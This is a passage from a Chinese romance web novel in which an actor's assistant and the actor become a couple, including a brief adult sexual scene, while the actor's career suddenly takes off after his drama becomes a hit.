叶幸司按在他后脑勺上的手,也像一只巨大的针管,尖锐的针头隔着骨隔着肉地穿刺进来,抽空了他的脊髓。 说不期待叶幸司的回答那是谎话,可俞悄蜷缩在地上,真的连抬头的勇气都没有。 为什么会这么平静。 为什么能用这种毫不在意的口吻,随意地说出“你喜欢我”,随意地扒开别人苦苦隐藏的心意。 拒绝我吧。 俞悄甚至在心里哀求。 让我死心,别用这么平静的态度折磨我了。 叶幸司的手在俞悄头上停了很久。 起初他是检查有没有伤口,在俞悄问完“你能喜欢我吗”之后,就只是长久的停留。 不知道多久之后,他的手重新动起来,像安抚一只受惊的动物,轻轻捋了一下俞悄的头发。 他终于说话了,却不是回答俞悄的问题。 “为什么感觉你那么难过,俞悄。” 叶幸司低声问。 俞悄的眼泪一下就出来了。 “因为喜欢一个人好辛苦啊。” 他呜咽得像个小孩,一屁股跌在地上,不懂明明如此平静的对话,自己怎么会那么难过。 “我不知道怎么办,我知道你不喜欢我,可我就是忍不住喜欢你。” “你不喜欢我还亲我,你就知道演戏,不是个好人。” “你都看出来我喜欢你了,你接着装傻就是了,非逼着我说出来。” “我是日本人吗你要这么整我?” “这下好了,你满意了。” “我可怎么办啊。” 委屈这种情绪是小偷,是不能被人发现的。 俞悄再也压不住积存的难过,碎碎叨叨,将心里的念头想到哪说到哪,全都倾倒出来。 叶幸司沉默地听着,捋头发的手沿着俞悄的耳廓,描摹到湿漉漉的颊侧,把他哭花的脸从膝盖上捧起来。 然后亲了上去。 狭小的厨房里瞬间安静下来。 让人颤栗的麻意从嘴角向全身扩散,俞悄的第一反应是躲。 他躬着后背向后褪,可身后就是紧抵的橱柜。 叶幸司手一撑,形成一方半封闭的空间,将俞悄堵在他的手臂与冰箱之间,压迫感十足。 与那次蜻蜓点水的橙子吻不同,俞悄咸湿的泪水是一种微妙的催化剂,叶幸司的呼吸发沉,力气不容抗拒,是一个侵城掠地的吻。 俞悄无力地抵抗了几秒,舌尖相触,他闷哼一声,胳膊顿时抽了骨头似的耷在瓷砖地板上,掌心还攥着捏没了形状的鸡蛋壳。 过一会儿,他重新抬起手,圈上叶幸司的脖颈。 “啪。” 如果不是厨房突然跳闸,这个吻会发展到什么程度,俞悄都不敢想。 他半截身子都出溜下去了,衣服被橱柜蹭到背上,后腰与地板形成一个小小的夹角。叶幸司将他捞正坐好,掌心烫得俞悄又往上挺了挺。 “……停电了吗?” 俞悄收回胳膊,心跳声在骤降的黑暗里,感觉比他说话声还大。 “应该是跳闸。”叶幸司沙着嗓子回答。 “有可能。”俞悄这会儿听他说话耳朵根儿都发烫,胡乱接话,“半年多没在家了,有可能。” 叶幸司“嗯”一声,帮他拽好衣摆,起身去检查电箱。 屋里重新亮起来,俞悄刚挪到厨房门口。 和叶幸司对上目光,简直是从原始森林一下来到文明社会,他胳膊腿都不知道怎么摆了,尴尬与羞耻心后知后觉地笼遍全身。 真服了你了俞悄。 他甚至能想象到如果告诉小蜡,肯定能把人活活给气笑。 莫名其妙又亲上嘴了。 还亲得……很爽。 俞悄清清嗓子,侧过身遮掩某个部位的隆起,后脑勺针扎似的。 相比较起来,叶幸司实在是自然得可怕。 “饿吗?”他去拿了条睡裤,问俞悄,“能忍得话我去洗个澡。” 俞悄下意识往他那个位置看。 “你手上的鸡蛋。”叶幸司被逗笑了,抬手刮一下俞悄的鼻子,“糊我一脖子。想什么呢。” 为什么能糊一脖子,俞悄回想一下,又是面红耳赤。 但叶幸司这么坦然的态度,让他惊讶的同时,心脏剧烈跳动。 “对不起。”俞悄磕磕巴巴地道歉。“你去洗吧,洗完我也洗。” 叶幸司走进卫生间要关门时,俞悄忍不住开口喊他:“叶幸司。” “嗯?”叶幸司又将门拉开。 “我以为你又要装作什么事都没发生。” 俞悄的眼睛里带着小心翼翼的希冀,在叶幸司看不出波澜的目光里,一览无余。 “你为什么,为什么突然又……” “我从来没说过不喜欢你。”叶幸司说。 浴室门关上了,俞悄在客厅站了足有一分钟,头晕目眩地又蹲在地上。 这次是因为庞大到难以招架的开心。 一个人傻乐了半天,伴随着朦胧的淋浴水声,俞悄掏出手机给小蜡发消息,激动到手指都有点不听使唤,差点儿点成转账。 可不兴转账啊。 他心情好到什么无聊念头都能笑出来,抿着翘起的嘴角飞快地敲键盘。 俞悄:我谈恋爱了! 小蜡:????? 第69章 小蜡的问号没有得到及时的回复,因为俞悄只是需要将自己的开心分享出去一些,不然心脏胀得太满,他老想大喘气。 他忙着去翻日历记时间,更改自己的微信状态,跟着就点开淘宝漫无目的又满怀喜悦地搜索,想给叶幸司送礼物。 五分钟没得到回复,小蜡的电话炸过来了。 “啥意思啊?什么就谈恋爱了?你跟我下跳棋呢,一会儿一蹦高?” 小蜡一接通就扯着嗓子吼。 他那边非常嘈杂,一听就是去喝酒了,DJ激情得像要从听筒里直接钻出来,鼓点都跟俞悄的心跳对上拍了。 俞悄忙捂着听筒往阳台跑,关了门趴在窗台上,才小声问:“你咋打过来了?” “你说一句就不理人!”小蜡声音骤降,“我跟东哥喝酒呢,怕他看见我屏幕消息。” “那你还那么大嗓门!” 俞悄现在听见周行东名字都脑袋大,生怕他等会儿又发个“有趣”过来。 “他去卫生间了!”小蜡喊,“你俩咋说的?” “没咋说。”俞悄不好意思。 暗恋和恋爱在他心里是十分有区别的两种状态——暗恋的时候什么心路历程都能跟军师分享,找人分担自己忽高忽低的情绪;可恋爱是两个人的事,那就很私密了。 “你快点的!”小蜡急得不行,“我瞅见我东哥脑袋了。” “哎呀,”俞悄嗫嚅半天,憋出一句:“就是他也喜欢我。” “牛逼。”小蜡抽了口凉气,有点倒牙,“够纯爱的。回来了我挂了啊!” “我这会儿还在他家呢。”俞悄紧急求助,“接下来我咋办啊?” “什么咋办?” 小蜡被他问得一阵无名火。 “都喜欢你了,接下来咋办还要兄弟屌把屌教你啊?咋办咋办的!” 电话挂断的“嘟”声,和叶幸司开门的“嘎吱”声叠合在一起,俞悄一阵心虚,连忙把手机往裤兜里塞,差点儿塞空掉地上。 从阳台一出去,叶幸司就扬扬眉毛问:“在阳台干嘛呢?” “打电话呢。”俞悄去开投影,耳朵根滚烫。 叶幸司“哦”一声,都朝厨房走两步了,又回头问:“跟家里?” “跟我朋友。”俞悄说。 “在超市一直发消息的朋友?” 俞悄的嘴角一点点翘起来,鬼鬼祟祟地研究叶幸司的表情,胆子又大了。 他跟过去问:“你在意啊?” “没有。”叶幸司别过脸不看他,进厨房接着做饭。 “是小蜡。”俞悄屁颠屁颠地主动解释。 “你不是烦他吗。”叶幸司问。 “现在不咋烦了,”俞悄挠挠脸,“他人还蛮好的。” 就是不出正经招,满脑子净是那些事。 厨房的一地狼藉还没收拾,俞悄想整,被叶幸司撵走了,让他去洗澡,说他一身鸡蛋味儿。 一天洗了两次澡,下午的箱子都白收拾了。 俞悄有点儿犯懒,不太想动。 主要这会儿站在叶幸司旁边看他做饭,他都觉得很惬意,一步不想走开,就想俩人在一个空间里呆着。 但是闻闻自己的手,感觉确实还能闻见鸡蛋味儿。 “腥薅的。”他小声嘟囔。 叶幸司笑着看过来,学他说话:“腥薅的。” 俞悄的心情一下子很好。 心情好,胆子就大。 他突然忍不住开口问:“晚上我还睡沙发?” 叶幸司转过脸望过来,俞悄绷着脸皮不跟他对视。 “睡床吧。”叶幸司说。 话是俞悄问的,人家真说让他睡床,脑子里蹦出小蜡那些没正经的话,俞悄又受不了。 “睡沙发。” 他火烧屁股似的往外走,自言自语。 “我都习惯睡沙发了,沙发好。” 浴室里还留着叶幸司洗完澡的水汽,他出来前开了窗,但空气中依然带着湿漉漉的沐浴露香。 很神奇。 下午俞悄进来洗澡,也是同样的情况,当时他就没有特别的感觉。 这会儿就不一样了。 俞悄想象着叶幸司刚才在这里洗澡的画面,回味着那个无力抵抗的吻,以及叶幸司那句“没说过不喜欢你”,头皮一跳一跳的,深深地吸了口气。 他起反应了。 肯定是憋着了。上次手动解决他都忘了什么时候,每天跟着叶幸司到处跑,回到宾馆也是倒头就睡,《天王》杀青后心里一轻松,前几天早上差点遗精。 精,鸡蛋清,屌把屌,叶幸司的……啊! 俞悄捂住滚烫的脸,在心里无声咆哮。 该死的狄一蜡! 这种从心理延伸至生理的微妙变化,不仅仅产生在浴室里。 吃完迟到半天的晚饭,两人和以前一样,关了灯在沙发上看投影,俞悄一会儿坐着一会儿靠着,怎么都自然不起来。 五感像是被放大一百倍,他心思根本无法沉浸在电影中,浑身上下连每个毛孔,都在关注着叶幸司那边的动向。 叶幸司抬一下腿,他腰杆都绷紧。 结果人家只是单纯的调整一下坐姿,并没有朝他这边靠的意思,俞悄又有种难以启齿的小小失落。 这俩人能不能亲个嘴。 俞悄像个学生一样坐得笔直,瞪着电影里长篇大论的两位主角。 带动一下气氛行不行! “今天话这么少。” 叶幸司冷不丁开口,吓了俞悄一跳。 “嗯?有吗。” 他一紧张就小动作多的毛病又犯了,伸着手在沙发上乱找。 “我手机呢?” 手指碰到叶幸司的手,他猛地往回一缩,却被握住了手腕。 “第二次了。”叶幸司说。 “什么?”俞悄只感觉被攥住的那一轱辘皮肤迅速发麻。 “躲我。”叶幸司在投影的光斑下扭过脸,盯着俞悄,“让你不舒服了?” 俞悄的脑子里“嗡”地一下,一股酥麻顺着颈椎直直地打下来。 “没……”他咽咽喉咙,说话的声音越来越模糊,“我紧张。” “紧张什么?”叶幸司的语气放轻了。 “不知道。”俞悄盯着他轻轻开合的嘴角,往后缩。 氛围这东西,在这种时候,其实就是一个眼神的事儿。 两人是怎么又亲上的,俞悄记不清。 他在叶幸司倾身压过来时就睁不开眼了,嘴唇一贴合,手腕就不知羞耻地挂上叶幸司的脖子,在他背脊上来回摩挲。 好舒服。 叶幸司的吻转移到耳廓时,俞悄挺起胸膛哼了一声,抓住叶幸司的头发。 下一秒,他的脖子就被惩罚性地咬了一下。 “对不起。” 俞悄松开手,脑门讨好地蹭着叶幸司,向他道歉。 叶幸司撑在俞悄上方,跟他额头相抵,哑声夸奖他:“这么乖。” 这种对待学生、对待小孩一样的态度,不知道为什么,带给俞悄极大的刺激与满足感。 他回想起《爱在东南角》杀青那晚,叶幸司扇他的那巴掌,试探着主动翘起下巴,去咬叶幸司嘴。 “啪。” 不轻不重的巴掌如预想中落在脸上,叶幸司直起身盯着俞悄,目光晦暗到让他颤栗。 那是不容许被打乱节奏,绝对的上位者与掌控者的眼神。 “我是不是有病?” 俞悄用手臂压住眼睛,拽过一个沙发枕压在下腹。 “为什么会喜欢你这么对我。” “拿开。” 叶幸司不解释这个问题,只是命令。 俞悄重重地喘了口气,他完全抗拒不了这个人,下意识想要言听计从。 然而脑海深处唯一的一点清明让他攥紧靠枕没撒手,他求救般询问叶幸司:“你是什么时候喜欢上我的?” 这个问题让客厅安静了半分钟,久到俞悄既期待又心慌。 最后,叶幸司由上往下睥睨着俞悄,曲起食指,怜悯地刮刮他的脸。 “在表演班上课的时候。” 第70章 俞悄人生第一次亲密行为,是在叶幸司手上出来的。 没到最后一步,俞悄从挪开沙发靠枕,在叶幸司目光下暴露弧度,到痉挛着结束,只用了几下的功夫。 太刺激了,从没被外人触碰过的部位,俞悄根本控制不住。 两人连衣服都是完整的,可他在叶幸司手里已经完全没有秘密了。 俞悄像一艘被海浪冲击到支离破碎的木船,眩晕着放空了半天。 不知过了多久,伴随着叶幸司洗手的水声,他的理智与羞耻心同时回笼,却恨不得真被淹死算了。 刚刚都发生了什么啊…… 他闭着眼往沙发夹缝里蜷,手脚并用,把靠枕们一下下往身上扯。 叶幸司从卫生间出来,又去厨房喝了口水,给俞悄也拿来一瓶。 回到客厅,他就看见沙发上凭空多出一座靠枕堡垒,俞悄躬着身子把自己埋在靠枕底下,像个穴居动物。 估计是刺挠了,还用左脚趾挠了挠右脚踝。 “有句话怎么说。” 叶幸司一出声,俞悄蹭脚踝的动作戛然而止,整座靠枕山都静滞了。 “顾头不顾腚。”叶幸司朝俞悄屁股上拍了一巴掌。 听出叶幸司语气里的笑意,俞悄蠕动一下,鼓起勇气出声:“别管我了。” 沙发下陷,叶幸司坐下掀开一只靠枕,把俞悄的脸露出来。 “不去洗洗?那么多。” “啊!”俞悄爆发出濒死的咆哮,面红耳赤地把靠垫抢回来。 叶幸司也笑了,懒洋洋的,带着放松后的惬意。 他拽过毯子给俞悄盖上,捋捋他的背,像安抚小孩。 “你呢?”俞悄把靠枕扔出去,裹着毯子翻身偷瞄。 叶幸司也有反应,刚才抵在他腿上,俞悄感觉到了。 很……磅礴。 叶幸司“嗯?”一声,转脸看着俞悄问:“要再帮我一次吗。” 他刚在卫生间解决完了。 “没人说。” 俞悄蜷着脚板心缩回毯子里,话从嘴里秃噜出来就后悔了。 爽晕已经够没出息了,这次也没抓住机会。他其实很想摸摸叶幸司的。 奇妙。 俞悄自己对比着回味。 以前周行东越主动他越抗拒,怎么到叶幸司这儿,全反过来了。 “去收拾,收拾完去床上睡觉。” 叶幸司隔着毯子揉了把俞悄的头发,体贴地先起身进屋,给俞悄留出足够的空间。 真要睡一张床,俞悄想想又怂了。 他还是怕真的发生什么。 “我今天还是睡这吧。” 俞悄探出脑袋打商量,叶幸司在卧室门前回头望他,很自然地又“嗯”一声:“怎么自在怎么来。” 他去把阳台的窗帘拉好,投影遥控器给俞悄放好在手边,碍事的靠枕拣到一旁。 全部安置完,叶幸司留下一句“晚安小助理”,回卧室了。 俞悄张张嘴,干巴巴地缩回毯子里。 还真答应了!什么人呢,倒是再问一遍啊! 叶幸司这晚安不安不清楚,俞悄反正一整夜都没睡好。 他大脑皮层始终保持兴奋状态,时睡时醒,明明知道自己睡着了在做梦,对屋里的动静又很敏锐,有一丁点儿声响就眯瞪着支起耳朵,想听是不是叶幸司起来了。 脑子瞎兴奋,身体也没羞没臊,自行回味被把控的舒爽与刺激。 翻来覆去一直到天都微微亮了,俞悄才真正睡熟。 结果感觉没睡几分钟,就被纪繁西的电话给炸醒了。 “喂?”俞悄眯着眼接起来。 “蒋雨池联系你没有?”纪繁西劈头就问。 “谁?”俞悄专门拿下手机看一眼,确定自己没在做梦,“他联系我干嘛?” 电话“嘟”一声挂了。 几秒后,叶幸司也在卧室里接起电话,应该也是纪繁西的,俞悄听见他说了句“没有”,就没了后续。 “找蒋雨池的?”俞悄披着毯子过去问。 “嗯。”叶幸司靠在床头,也是刚醒,耷着眼皮摁手机。 “怎么能找到咱们这,他又干嘛了?” 俞悄点开微博看看,刚八点多,没有热搜。但纪繁西都联系到他俩了,肯定是出事了。 “我问问乐乐。” 公司群里已经翻天了,各个部门不管上没上班,都在找蒋雨池。 俞悄等了好一会儿才等到蒋雨池助理乐乐的回复,对方的回复只有三个字,却让他脑袋瞬间就跟着大起来。 “不见了说是。” 俞悄盘在叶幸司床上,举着手机给他看。 叶幸司抬了抬眉毛。 乐乐又发了条语音,俞悄点开公放:“昨天晚上开会又吵起来了,脾气上来他就走了,电话一直关机,等会要去录节目了,家里也没有电话也打不通……搞什么啊!” 小姑娘急坏了,声音都带着哭腔。 俞悄也帮不上忙,安慰她几句让她别急,乐乐忙着找人去了,没再回复。 “蒋雨池神经病吧。”俞悄代入一下乐乐简直要气死了,“一天天哪那么大脾气,没轻没重的。” “年龄小。”叶幸司去做早饭,“想吃什么?” “都行。”俞悄跟着他,“小也成年了,圈里比他小的多了,也没见谁这么能作。” 他叭叭地说个没完,叶幸司别有深意地望着他:“现在愿意说话了?” 俞悄脸一红,闭嘴洗漱去了。 又过了几个小时,公司传来消息,蒋雨池联系上了——这小子去开了个酒店睡大觉,睡醒看见满手机的未接来电自己都吓懵了,这会儿被纪繁西带去跟节目组道歉呢。 公关部发公告让所有人别声张今天的事,但公司几十号人,哪有不透风的墙。 各大八卦小组织的帖子早就盖几层楼了,说什么的都有。 理智点的路人分析蒋雨池又在使性子,真爱粉痛骂公司能不能保护好艺人,看热闹不嫌事大的阴谋家们揣测蒋雨池和公司有经济纠纷,更有甚者连包养潜规则这些词儿都整出来了。 “都什么跟什么。”俞悄看得目瞪口呆:“还经纪人试图潜规则蒋雨池抵死不从……有毛病啊!” 叶幸司在一旁剥着橙子都听笑了:“那是够恶心的。” “无语。”俞悄换上小号去终止谣言,“你以后可别玩消失这套,有什么事大家好商量。” “嗯。”叶幸司配合着认真答应。 “蒋雨池这次完了,我老姨最烦找不着人,她……” 俞悄咕哝到一半,停下来瞅着叶幸司,嘴角压不住地往上翘。 “乐什么呢。”叶幸司问。 “我在想,”俞悄又是挠脸又是清嗓子,“她给我打完电话就给你打,肯定不知道我就在你这呢,要是知道我们在一起了……” 明明昨晚连那玩意儿都被人握上了,“在一起”这三个字依然让俞悄心动,心动到不好意思说话。 叶幸司长久地注视着俞悄,最后什么也没说,把剥干净的橙子放进他手里。 “你会害怕被粉丝知道吗?”俞悄又问。 “什么?” “谈恋爱。”俞悄借着吃橙子,囫囵着说出这三个字。 “我是演员。”叶幸司提起自己的演员身份就很认真,“我只对表演负责。” “知道了知道了。”俞悄既受不了又觉得甜蜜,两条腿在桌子底下当啷着,“不怕就行。” 想了想他又问:“你之前不是说你是直男吗?” 谁家好直男跟男的玩这些啊!果然小蜡说对了,他的眼睛就是尺。 “不过我会保密的,放心,不会跟你当众卖腐。” “所以你是之前骗我的,还是后来发现也可以?” “为什么表演班的时候喜欢我了?” 俞悄攒了一肚子问题,等不了叶幸司一条条回答,亮着眼睛连珠炮似的问出来。 但叶幸司似乎并不太想解答这些提问。 “你开心吗?”他反问俞悄。 “废话。”俞悄一瓣接一瓣往嘴里塞橙子,“当然开心。” “开心就好。”叶幸司说。 “那你……” 俞悄还想重复他的问题,被叶幸司打断了。 “因为你是你。”叶幸司说,“你是特殊的。” 就这么似是而非的一句话,承包了俞悄小一个月的开心。 心情真的会影响磁场,心情一好,所有事都格外的顺利起来。 先是《天王》紧急插队的那期综艺得到了不错的反响,叶幸司录的时候还是刚拍完《半地鸡毛》的暴瘦期,话题度很高。 可俞悄看着只觉得心疼,播出当天就给叶幸司买了一兜子甜品。 第二件事是叶幸司终于要换房子了。 不是租,是买,用他自己拍戏挣来的钱。 俞悄对这件事非常积极,他打心底里为叶幸司开心,找老爸打听合适的楼盘,跑来跑去的看,连装修风格都甄选了好几样,认真得像是房产证里会有他的名字。 第三件,也是最重要的一件事,《天王》要开播了。 蜻蜓的黄金剧场,先头预热铺天盖地,定档周五晚上八点半。 《天王》第一集播出那天,俞悄没能像以前一样准点守着开播,因为叶幸司在棚里拍照,一款小众潮牌的男装代言。 虽然是小众,但是人家主动找上来的,跟当初免费给人拍洗发水广告比起来,俞悄看着打光板前从善如流变换造型的叶幸司,心里一阵感慨。 等结束拍摄回到破楼,已经晚上十点多了。 “快走,还能赶上第二集。” 俞悄从车后座拎起一个挎包,拽着叶幸司就往楼上跑。 “拿的什么?”叶幸司问。 “我的东西。”楼道里感应灯坏了,俞悄偷偷脸红,“今天累死了,正好就在你这睡了。” “这么正好啊。”叶幸司揶揄他,淡淡的笑意听得俞悄喉管发痒。 “那我走了。” 他作势要转身下楼,被叶幸司捞了回来。 俞悄嘴巴一热,得到了一个奖励般的亲吻。【你现在阅读的是魔蝎小说 moxiexs】 70-80 第71章 《天王》火了。 叶幸司凭借段迟这个角色被一炮推红。 俞悄是以一种当局者迷的状态发现的这件事。 《天王》的大火对所有人来说都不足为奇,毕优的小说底本和厚实的剧组团队,一经播出,各方粉丝就将话题刷得满天飞,每天晚上的文娱热搜,必定有《天王》更新的相关词条。 叶幸司的粉丝量成倍数增长,俞悄却比先前成熟不少。 他很清醒这是在播期间的正常效应,《天王》各方数据远超《爱在东南角》是情理之中,不能算在叶幸司的个人热度里。 他更关心叶幸司在演技上的口碑有没有改变,这件事在超话里就得到了印证——从四面八方涌来的剧粉刷着“人间段迟叶幸司”的话题,将死黑粉打了个元气大伤。 以前的黑窝子,现在竟然要划拉很久才能找到一条嘲讽的评论,再一拉刷新,立马就被淹了。 “蒋雨池好帅”这个ID已经很久没出现,账号似乎被搁置了。黑子们嚷嚷着“塌房了”,转粉的转粉,消失的消失。 俞小雨说她都没活干了,她叶哥的超话竟然变正常了。 喷子们的凋零让俞悄丧失了不少乐趣,不过现在的他看超话的时间也越来越少。 纪繁西钻窟窿打洞,不放过任何一个能让叶幸司刷脸赚钱的机会,两周时间给他划了一堆通告,一个比一个质量高,报价足足比《天王》开播前提了一档。 她不给叶幸司推拒的权力,叶幸司这次倒也没推,照单全收。 开门红是好事,高开低走的情况也屡见不鲜。 俞悄的心态从期待、开心、紧张,一直到担心,然而直到《天王》的收视率一路水涨船高,完全没有熄火的迹象。 《天王》播放大结局那天,俞悄正陪着叶幸司在外地录综艺。 随着最后的秘密揭开——最初在影视城为女主打架的人其实是段迟,当晚《天王》的话题量破表,叶幸司在艺人实时话题榜直接飙到第一位,保持了七个小时。 而瞿承衍和白桃,当时分别在第二和第五。 仅那一晚,叶幸司涨了七十三万粉。 “疯了吧……” 俞悄直到那时候才后知后觉的反应过来,叶幸司好像真的要火了。 “营销部都忙飞边子了,等你回过味儿来黄花菜都长脚跑了。” 对于俞悄这近乎于残疾的职业嗅觉,纪繁西毫不客气地进行了夸张的羞辱手法。 “不是,这太玄幻了吧?” 微博上所有的红点都以99为基数刷新,俞悄望着那些数字,第一反应只觉得不真实。 以前他珍惜叶幸司的每一个粉丝,这会儿怎么看怎么觉得虚假。 纪繁西没有功夫共情俞悄的哲思,她整个人处于极度亢奋的状态,给俞悄发了份文档,让他把叶幸司的社交账号都接管过来,几点发带什么标题,全部安排得明明白白。 俞悄点开文档,是以叶幸司的口吻,拟好的收官感悟。 “这种东西还是让他自己写吧。”俞悄有点抗拒,“你们这也不像他的语气啊。” “别矫情了。”纪繁西打断他,“配图找丽丽发给你,我忙着呢。明天回来直接带他到公司开会。” 电话挂了。 俞悄对着文档翻了又翻,想去问叶幸司要不要发,但叶幸司正在录备采,等他回来早就超过纪繁西规定的时间了。 俞悄没办法,琢磨着叶幸司的口吻将文案改了改,卡着点设置好自动发表,然后将手机一扔,第一次产生出不想看评论的感受。 叶幸司录完节目回来,和俞悄同样惊讶于自身数据的暴涨。 同时他又和纪繁西一样,对于接管微博这件小事没有意见,代发感悟也表现得毫不在意。 当事人都没意见,自己这个助理再碎叨也没意义。 俞悄安慰自己,反正他手机里本来也挂着叶幸司的微博,确实没必要太矫情。 手机上的数据没给俞悄带来真实的感受,但第二天他和叶幸司走出机场,被围上来的粉丝踩掉一只鞋,他才真切明白过来—— 叶幸司真的开始火了。 公司楼下有堵他的记者了,有劫他的狗仔了。 纪繁西着急忙慌把他们喊到公司,几个部门的主管全部在会议室,正儿八经地给叶幸司开了场个人规划会。 会议室的电子屏上一帧帧投放着叶幸司的近期数据,网上掀起了一股名为叶幸司的热浪,段迟的镜头被剪得铺天盖地,几乎让人害怕。 俞悄坐在角落,听着高层们热情洋溢的说话,怎么都觉得像在做梦。 “那下一部戏有着落了吗?”他忍不住问。 “目前有两个本子,都是这周找过来的。” 纪繁西掏出两份剧本,同时在大屏上调出两部戏的剧情梗概。 一部都市职场剧的男一,一部古装侦探剧的男二。 “我个人倾向古代这个,小说改编,这种剧情现在也比较吃香,不过是男二。现代这个就中规中矩了,但它是男一,报价也高。” 俞悄还没来及细看,纪繁西就直接点名两个本子的优劣。 “我们幸司也是好起来了,也是能选剧本了。”她笑着问,“想拍哪个?条件我去谈。” “古装这个吧?”俞悄跟着建议,“你没拍过这种类型。” 叶幸司没理会纪繁西的打趣,也没接俞悄的话。 他看完资料才抬头,用两根手指按住两份剧本,轻轻往前一推。 “都接。” 下午四点多从机场到公司,晚上八点半将叶幸司送回破楼,俞悄一句话没说,去拿了自己落在这的充电器就走。 “半天没理我了。” 叶幸司手一伸,拎鸡崽子似的把俞悄拎回来。 “怎么了,我有戏拍你不开心?” 俞悄脚停下了,但是梗梗着脖子不回头。 “没有。”他硬邦邦地说。 “别让我问第二遍。”叶幸司把他转过来,“好好说话。” 俞悄也是没出息,叶幸司一这样他就绷不住,烦得搓了把脸。 “你干嘛一下接两部戏呢?你是要吃演技饭的,你不能火了一部戏心里就没个四五六……” 俞悄又没说完,他这两天说话老被打断。 不过这次打断他的,是叶幸司埋进他颈窝里的额头。 “相信我。” 叶幸司说。 第72章 “不是不相信你。”俞悄抬手抱住叶幸司,捋了捋他的背,“是太突然了,我有点适应不过来。” 真的适应不过来。 他每天盼着叶幸司火,真开始火了,却只觉得还没做好准备,有种双脚踩不到地面的虚浮感。 他莫名想到艾浩和蒋雨池。 《天王》的大火并没有达到《西楼》的水准,所带来的改变已经让他感到无措,不敢想当年的艾浩经历了怎样跌宕的心情。 蒋雨池那种不知天高地厚的性格和年龄,面对突然的流量,忘乎所以似乎也变得情有可原。 “我怕你被冲晕了,像蒋雨池那样……” “不会。”叶幸司说,“我已经准备快十年了。” 是啊,叶幸司一直在准备着。 俞悄安慰自己。 这个圈子就是这样,都是奔着大红大紫闯进来的,可谁也把握不了真正的机遇什么时候突然降临。 残忍得可怕,也幸运得可怕。 接下来一段时间,俞悄都在迷茫与开心相交错的心情中度过。 叶幸司凭借这部《天王》拿下了最佳男配,虽然只是蜻蜓平台自家的影视典礼,俞悄依然为他高兴。 他已经接受叶幸司火起来的事实了,看着叶幸司一步步往更高的台阶上走,听着这个名字成为大众口中的热门,觉得十分骄傲。 同时他也有点儿跟不上叶幸司现在的节奏。 因为太忙了,是真正的忙。 爆发式的走红最容易销声匿迹。 纪繁西深谙此理,加上蒋雨池那边基本已经废了,所以她将重头全部转移到叶幸司这边,疯狂给他接活,让他取代蒋雨池,成为公司今年力捧的黑马。 叶幸司多了好几个助理,他终于得到了一个正经艺人该有的待遇,一些小事不需要俞悄再去帮着干。 可还是忙。 不止两部戏,还有没完没了的综艺,广告,代言……越接越有分量,也越来越忙,最忙的一天,俞悄陪着他连轴转了三个录制现场。 纪繁西为他量身打造的团队像个触手大张的吸血鬼,一群人忙得焦头烂额,又乐在其中。 蜻蜓的颁奖典礼与元旦晚会一起安排在十二月底,去颁奖典礼的现场,需要走一段红毯。 这是俞悄第一次参加这种场面,他们的车子刚停在红毯前,就听见迎面扑来的疯狂尖叫,喊叶幸司的名字,喊“段迟”,喊男神,也有人喊老公。 俞悄呼出一口气:“我怎么有点儿紧张呢?” 叶幸司看起来十分自然,但他攥一下俞悄的手,低声说:“我也有点儿。” “有什么好紧张的。” 俞悄立马反过来安慰他,抓紧时间替叶幸司再润一润口红,看着他被扑上淡妆,几乎无懈的妆容和脸庞,突然很想亲他一口。 他已经快一个月没和叶幸司有亲密接触了。 “Ok没有眼屎,状态完美。”俞悄捏捏叶幸司的手,“去吧,你是最牛逼的。” 叶幸司下了车,镁光灯瞬间集中过来。 海报与照片从红毯两边满满的伸出来,他一一为粉丝们签名,尽量满足合影。俞悄和另一个身强力壮的助理在他身后跟着,谨防突发意外。 一位粉丝挤在前排,向叶幸司伸出了胳膊,喊着我爱你,急切的想讨一个拥抱。 叶幸司微微一抬眉,俞悄听见围挡后临近的几个小粉丝大喊“我要晕倒了”。 而那位粉丝嗓子已经喊哑了,声音尖锐得可怕,看起来简直要哭出来。 不论叶幸司还是俞悄,对这样的阵仗还见得太少,还没锻炼到可以对喜欢自己的人视若无睹。 叶幸司有些无奈地笑了笑,目光似有若无地瞟过俞悄,像是在报备,然后他微微倾身,让粉丝抱了他一下。 整条红毯爆炸起可怕的尖叫。 俞悄突然有点儿恍惚。 他看着整个人被包裹在灯光和尖叫里的叶幸司,觉得这个背影突然变得特别陌生,离自己特别、特别遥远。 这是叶幸司。 他在前两年还是个在火车上故意摘下口罩都无人问津的人。当初喜爱他的人,远没有这么多。 明明最开始只有一个我。 晚会现场俞悄没进去,纪繁西亲自过来了,有她在不会出事。 他跟纪繁西打报告,要出去溜达溜达,纪繁西正和几个一看就很有份量的成功人士说话,没工夫搭理俞悄,摆摆手就让他走了。 蜻蜓总部有些偏,大楼临江,俞悄找个超市买了瓶起泡酒,去江边坐着喝。 橙子味的酒,抿了一口他就把脸皱成个包子。 简直是非常难喝。 他拿出手机,搜索蜻蜓的晚会直播,看了两秒觉得自己有病,推出后台又打开微博。 叶幸司的粉丝数量已经四位数了,可俞悄如今已经不再敏感这串跳动的数字。 他去叶幸司超话逛了一圈,全都是今晚红毯的照片,很帅,可俞悄刷不下去,又退出来。 把常逛的几大app逛个遍,在一个很小的讨论组里,他终于找到自己和叶幸司相关联的一个帖子。 “啊啊啊他抱粉丝之前看了眼俞悄,有人懂这个眼神吗?” “嗑晕了。” “#他才二十多,他能藏住什么事。” “很嗑但叶幸司过两年就三十了吧,小悄好像比他小四五岁这样?” “年龄差我磕生磕死……” “《塌房了》我反复品鉴。” “现场的姐妹说下车前俞还在帮叶补口红!” “受不了,感觉像真的。” …… 这个小小的讨论组,似乎是《塌房》那批邪门粉的聚集地,组里很多扒两人细节磕糖的帖子,俞悄一条条的看,有些过于夸张的联想让他自己都觉得脸红。 但收起手机,庞大的空虚感便从心底缓缓升腾起来。 其实叶幸司像之前那样,一直不温不火也挺好的。 这个念头一浮现,俞悄愣了愣,立马晃晃脑袋。 怎么这么自私,俞悄。 之前想让叶幸司火,现在想让人只属于你。什么好事都让你琢磨了。 十二月底的江边夜晚,风大得割脸,他抱起膝盖,低头抠脚边干枯的石块草根。 手机亮起来,弹进一条微信消息。 俞悄心头一蹦,以为是叶幸司,结果点开是小蜡,让他帮自己侄女要叶幸司的签名照。 还附带一句感慨:让你吃到好的了,这小子是真火了啊。 俞悄慢吞吞地打字:你干嘛呢。 小蜡:准备跨年炮,你要来吗? 俞悄:? 小蜡:哈哈哈。 小蜡:你俩怎么样了最近,做上没? 小蜡:感觉叶幸司应该蛮大的。 俞悄:你有病啊? 小蜡:护食样儿,以后他接个床戏你不炸了。 俞悄:我已经快死了。 小蜡:怎么了? 俞悄:我好像抠到干狗屎了。 